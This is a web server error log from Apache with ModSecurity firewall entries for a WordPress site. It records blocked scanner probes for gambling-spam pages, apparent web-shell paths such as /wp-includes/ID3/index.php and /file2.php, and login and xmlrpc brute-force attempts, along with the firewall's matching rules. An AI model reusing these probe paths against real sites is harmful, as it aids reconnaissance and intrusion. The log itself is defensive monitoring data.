[Tue Feb 17 17:43:09.276243 2026] [:error] [pid 58551:tid 58567] [client 51.77.218.191:53150] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZQ4La1t8eWr-MgFsppztwAAAAc"]
[Tue Feb 17 17:43:11.610642 2026] [:error] [pid 58551:tid 58573] [client 51.77.218.191:53164] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZQ4L61t8eWr-MgFsppzwAAAAA0"]
[Tue Feb 17 17:43:14.213005 2026] [:error] [pid 58551:tid 58566] [client 51.77.218.191:60678] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZQ4Mq1t8eWr-MgFsppzyAAAAAY"]
[Tue Feb 17 17:43:16.516490 2026] [:error] [pid 42555:tid 42579] [client 51.77.218.191:60692] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZQ4NPCCGB-bBphvas2eUAAAAZY"]
[Tue Feb 17 17:43:18.978087 2026] [:error] [pid 58659:tid 58673] [client 51.77.218.191:60698] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZQ4NsDX32iTEO4jt28uJAAAAMw"]
[Tue Feb 17 17:43:21.279726 2026] [:error] [pid 58551:tid 58574] [client 51.77.218.191:60702] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aZQ4Oa1t8eWr-MgFsppzzwAAAA4"]
[Tue Feb 17 17:43:23.707696 2026] [:error] [pid 58552:tid 58608] [client 51.77.218.191:46602] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZQ4OzBHVJP2Oz3yR5cB7AAAAE0"]
[Tue Feb 17 17:43:26.145694 2026] [:error] [pid 42555:tid 42569] [client 51.77.218.191:46616] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aZQ4PvCCGB-bBphvas2eVQAAAYw"]
[Tue Feb 17 17:43:28.485304 2026] [:error] [pid 58659:tid 58665] [client 51.77.218.191:46632] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aZQ4QMDX32iTEO4jt28uNgAAAMQ"]
[Tue Feb 17 17:43:30.913475 2026] [:error] [pid 42555:tid 42563] [client 51.77.218.191:46640] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZQ4QvCCGB-bBphvas2eWQAAAYY"]
[Tue Feb 17 17:43:33.282705 2026] [:error] [pid 13106:tid 13133] [client 51.77.218.191:48276] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aZQ4RbBEWrYCV-0FRdrttgAAAVc"]
[Tue Feb 17 19:15:20.529839 2026] [:error] [pid 58659:tid 58678] [client 135.181.180.59:11310] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZRNyMDX32iTEO4jt29FOQAAANE"]
[Tue Feb 17 19:15:24.822197 2026] [:error] [pid 58551:tid 58568] [client 135.181.180.59:11314] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZRNzK1t8eWr-MgFspqO8AAAAAg"]
[Tue Feb 17 19:53:09.859726 2026] [:error] [pid 58552:tid 58602] [client 18.153.209.1:58678] [client 18.153.209.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.153.209.1, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZRWpTBHVJP2Oz3yR5cvggAAAEc"]
[Tue Feb 17 20:59:16.622166 2026] [:error] [pid 2727:tid 2738] [client 212.87.218.157:63617] [client 212.87.218.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.87.218.157, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZRmJCIYJerZs7d7DPuKTAAAAok"], referer: https://vetstars.com.au/
[Tue Feb 17 22:29:22.698920 2026] [:error] [pid 58558:tid 58640] [client 168.227.250.223:19882] [client 168.227.250.223] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.227.250.223, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZR7QimIxlfUL2nViZwZwgAAAJI"]
[Wed Feb 18 00:07:32.715754 2026] [:error] [pid 58552:tid 58610] [client 49.51.141.76:49946] [client 49.51.141.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZSSRDBHVJP2Oz3yR5dqDgAAAE8"]
[Wed Feb 18 01:11:07.949931 2026] [:error] [pid 58558:tid 58646] [client 206.189.189.76:33364] [client 206.189.189.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.189.76, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZShKymIxlfUL2nViZw26AAAAJg"]
[Wed Feb 18 03:47:48.640855 2026] [:error] [pid 18687:tid 18789] [client 211.159.153.20:56878] [client 211.159.153.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.159.153.20, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZTF5BFnnaiMnC7pZbZthwAAAFY"]
[Wed Feb 18 04:12:36.163767 2026] [:error] [pid 21848:tid 21897] [client 20.100.192.217:16760] [client 20.100.192.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aZTLtPbG91VRkVidT5f5yQAAAEg"]
[Wed Feb 18 04:13:21.558129 2026] [:error] [pid 21848:tid 21894] [client 20.100.192.217:8034] [client 20.100.192.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aZTL4fbG91VRkVidT5f6EAAAAEU"]
[Wed Feb 18 04:13:24.594091 2026] [:error] [pid 21847:tid 21879] [client 20.100.192.217:18047] [client 20.100.192.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aZTL5Py9A5wy4LuXmJ2WZwAAABU"]
[Wed Feb 18 04:13:27.293822 2026] [:error] [pid 21961:tid 21982] [client 20.100.192.217:9811] [client 20.100.192.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aZTL58UBDt_-H0ms3gUzGwAAANM"]
[Wed Feb 18 04:13:28.981998 2026] [:error] [pid 21848:tid 21897] [client 20.100.192.217:2505] [client 20.100.192.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aZTL6PbG91VRkVidT5f6GQAAAEg"]
[Wed Feb 18 04:13:42.479750 2026] [:error] [pid 21847:tid 21858] [client 20.100.192.217:6472] [client 20.100.192.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file6.php"] [unique_id "aZTL9vy9A5wy4LuXmJ2WfQAAAAA"]
[Wed Feb 18 04:13:50.089868 2026] [:error] [pid 21847:tid 21881] [client 20.100.192.217:11137] [client 20.100.192.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file2.php"] [unique_id "aZTL_vy9A5wy4LuXmJ2WjQAAABc"]
[Wed Feb 18 04:13:58.574049 2026] [:error] [pid 21849:tid 21921] [client 20.100.192.217:17165] [client 20.100.192.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file2.php"] [unique_id "aZTMBrx9a1XrfTYnuzJS2AAAAIU"]
[Wed Feb 18 06:21:48.777491 2026] [:error] [pid 5561:tid 5577] [client 139.99.61.38:55300] [client 139.99.61.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.99.61.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZTp_EoQssCZYQ4NexbozQAAAU0"]
[Wed Feb 18 06:22:43.723008 2026] [:error] [pid 21848:tid 21910] [client 5.45.121.230:50262] [client 5.45.121.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.45.121.230, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZTqM_bG91VRkVidT5colAAAAFU"]
[Wed Feb 18 08:27:48.359119 2026] [proxy_fcgi:error] [pid 21961:tid 21975] [client 142.132.180.39:18202] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1771374468.1500449180603027343750', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_option', referer: https://vetstars.com.au/
[Wed Feb 18 09:03:58.769096 2026] [:error] [pid 21847:tid 21877] [client 107.180.241.110:34120] [client 107.180.241.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.180.241.110, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZUP_vy9A5wy4LuXmJ0ZMQAAABM"]
[Wed Feb 18 09:04:08.937646 2026] [:error] [pid 21849:tid 21920] [client 157.90.158.130:50974] [client 157.90.158.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.90.158.130, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZUQCLx9a1XrfTYnuzK06gAAAIQ"]
[Wed Feb 18 09:04:58.688339 2026] [:error] [pid 21848:tid 21899] [client 89.163.159.173:55966] [client 89.163.159.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.163.159.173, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZUQOvbG91VRkVidT5doegAAAEo"]
[Wed Feb 18 09:55:39.082822 2026] [:error] [pid 21847:tid 21874] [client 106.54.62.156:41346] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZUcG_y9A5wy4LuXmJ0zBQAAABA"]
[Wed Feb 18 10:59:33.713620 2026] [:error] [pid 21847:tid 21876] [client 147.135.213.218:60754] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZUrFfy9A5wy4LuXmJ1UcQAAABI"]
[Wed Feb 18 10:59:36.120866 2026] [:error] [pid 21961:tid 21972] [client 147.135.213.218:33754] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZUrGMUBDt_-H0ms3gXDswAAAMk"]
[Wed Feb 18 10:59:38.381131 2026] [:error] [pid 5561:tid 5566] [client 147.135.213.218:33770] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZUrGkoQssCZYQ4NexZBKgAAAUI"]
[Wed Feb 18 10:59:40.621792 2026] [:error] [pid 21849:tid 21928] [client 147.135.213.218:33784] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZUrHLx9a1XrfTYnuzLY2gAAAIw"]
[Wed Feb 18 10:59:43.077610 2026] [:error] [pid 21849:tid 21934] [client 147.135.213.218:59120] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZUrH7x9a1XrfTYnuzLY3AAAAJI"]
[Wed Feb 18 10:59:45.358814 2026] [:error] [pid 21848:tid 21893] [client 147.135.213.218:59124] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZUrIfbG91VRkVidT5ePdwAAAEQ"]
[Wed Feb 18 10:59:47.682335 2026] [:error] [pid 21847:tid 21858] [client 147.135.213.218:59138] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZUrI_y9A5wy4LuXmJ1UnwAAAAA"]
[Wed Feb 18 10:59:50.217730 2026] [:error] [pid 21849:tid 21928] [client 147.135.213.218:59140] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZUrJrx9a1XrfTYnuzLY4wAAAIw"]
[Wed Feb 18 10:59:52.745150 2026] [:error] [pid 21849:tid 21927] [client 147.135.213.218:57002] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZUrKLx9a1XrfTYnuzLY6QAAAIs"]
[Wed Feb 18 10:59:55.388410 2026] [:error] [pid 21961:tid 21963] [client 147.135.213.218:57006] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZUrK8UBDt_-H0ms3gXD0gAAAMA"]
[Wed Feb 18 10:59:57.695026 2026] [:error] [pid 21961:tid 21967] [client 147.135.213.218:57018] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZUrLcUBDt_-H0ms3gXD1QAAAMQ"]
[Wed Feb 18 11:00:00.112887 2026] [:error] [pid 5561:tid 5586] [client 147.135.213.218:57026] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZUrMEoQssCZYQ4NexZBMwAAAVY"]
[Wed Feb 18 11:00:02.624196 2026] [:error] [pid 57014:tid 57017] [client 147.135.213.218:57032] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZUrMhNZnhS5qKtVIMJwyAAAAQA"]
[Wed Feb 18 11:00:05.027336 2026] [:error] [pid 21847:tid 21860] [client 147.135.213.218:48776] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZUrNfy9A5wy4LuXmJ1U0AAAAAI"]
[Wed Feb 18 11:00:07.478663 2026] [:error] [pid 21847:tid 21864] [client 147.135.213.218:48790] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZUrN_y9A5wy4LuXmJ1U1AAAAAY"]
[Wed Feb 18 11:00:10.044246 2026] [:error] [pid 21961:tid 21966] [client 147.135.213.218:48794] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZUrOsUBDt_-H0ms3gXD4gAAAMM"]
[Wed Feb 18 11:00:12.560786 2026] [:error] [pid 21849:tid 21934] [client 147.135.213.218:48796] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZUrPLx9a1XrfTYnuzLZAQAAAJI"]
[Wed Feb 18 11:00:14.915641 2026] [:error] [pid 5561:tid 5580] [client 147.135.213.218:56254] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aZUrPkoQssCZYQ4NexZBSAAAAVA"]
[Wed Feb 18 11:00:17.461842 2026] [:error] [pid 21961:tid 21978] [client 147.135.213.218:56270] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZUrQcUBDt_-H0ms3gXD5wAAAM8"]
[Wed Feb 18 11:00:19.853865 2026] [:error] [pid 57014:tid 57020] [client 147.135.213.218:56280] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aZUrQxNZnhS5qKtVIMJw1gAAAQM"]
[Wed Feb 18 11:00:22.304120 2026] [:error] [pid 21961:tid 21981] [client 147.135.213.218:56296] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aZUrRsUBDt_-H0ms3gXD6gAAANI"]
